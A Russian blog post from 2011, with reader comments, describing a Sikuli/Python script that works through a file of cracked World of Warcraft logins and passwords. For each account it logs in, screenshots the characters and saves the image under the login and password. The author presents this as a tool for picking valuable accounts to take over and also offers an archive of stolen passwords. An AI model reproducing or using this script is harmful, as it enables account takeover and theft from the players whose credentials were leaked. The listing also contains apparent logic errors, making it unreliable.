понедельник, 28 ноября 2011 г.

Перебор WoW аккаунтов с помощью Sikuli

     Результатом предыдущего поста стал файлик с паролями примерно такого вида:
...
UFFIE:WARKEEPER
WKWAR2:WARKEEPER
ACERUS1:WARKEEPER
...
     У нас туева хуча акков! но что с ними делать? не просматривать же все вручную чтобы узнать что на них, да и большая часть не представляет никакого интереса: там либо просто пусто, либо чары не прокачаны/неодеты/не по вкусу. Мне под горячую руку попался Sikuli.

   Узнать что такое Сикулы вам поможет гугл, куча видео с примерами есть на ютубе. Вот так он выглядит:



   В двух словах, Сикулы позволяют работать с изображением на экране, например найти на рабочем столе определённый ярлык и сделать по нему двойной клик. Подобные вещи делаются с помощью кнопок на левой панели, а всё остальное на языке python. С помощью Сикулов я создал небольшой скрипт который будет  брать из нашего файла логин и пароль, вводить их в соответствующие поля в WOW, логиниться и делать скрин экрана с персонажами, после чего выходить из аккаунта и всё по новой. Вот собственно скрипт, каждая строка прокомментирована, так что я думаю разобраться не составит никакого труда:
    gor = 1920 # Разрешение экрана - горизонталь и
    vert = 1080 # вертикаль
    pswdfile = 'D:\pswd.txt' # Полный путь к файлу с паролями (логин:пароль)
    imgdir = 'D:\screens\\' #Куда сохранять скрины
    ####################################################
    pswd = open(pswdfile,'r').readlines() #Читаем файл с паролями
    lengthstr = len(pswd) # Количество аккаунтов в файле
    i=1 # с какого аккаунта начинать
    while i >=lengthstr: #Цикл перебирает аккаунты от i до последнего в файле
      logpas = pswd[i].replace('\n','').split(':') # убираем перенос строки, разделям ак и пас
      login = logpas[0]
      password = logpas[1]
      switchApp("World of Warcraft") # Переключаемся на запущенный вов
      wait(3) #Ждём 3 секунды
      click( ) #выделяем поле для логина
      type(login + Key.TAB + password + Key.ENTER) # вводим логин и пароль, входим
      wait(7) #ждем 7 секунд пока подключится
      img = Screen(0).capture(0,0,gor,vert) # и делаем скрин экрана
      img1 = file(img,'rb') #открываем скрин
      imgname = str(i) + '__' + login + '__' + password #имя файла
      img2 = file(imgdir + imgname + '.png','wb')
      img1.seek(0)
      img2.write(img1.read())
      img1.close()
      img2.close()
      ## сохраняем скрин под именем номер__логин__пароль
      type(Key.ESC)## выходим из аккаунта
      i = i + 1 #+1 к номеру аккаунта и всё поновой.
    После каждой итерации цикла в папке будет появляться скрин аккаунта, в случае если пароль уже изменен или вылезет другая ошибка, она также заскринится, а процесс продолжится.

    В этом  архиве находится файл с паролями к 18% аккаунтов, и куча уже готовых и отсортированных скринов.

    3 комментария:

    1. не работает прога то
      line 16, in type(login + Key.TAB + password + Key.ENTER) # вводим логин и пароль, входим NameError: name 'login' is not defined

      ОтветитьУдалить
    2. Отступ в листинге потерялся, все строки после while i >=lengthstr: должны быть с одинаковым отступом, поправил.

      ОтветитьУдалить
    3. А это что за ошибочка? java.lang.NoClassDefFoundError: java.lang.NoClassDefFoundError: Could not initialize class org.sikuli.script.Win32Util

      ОтветитьУдалить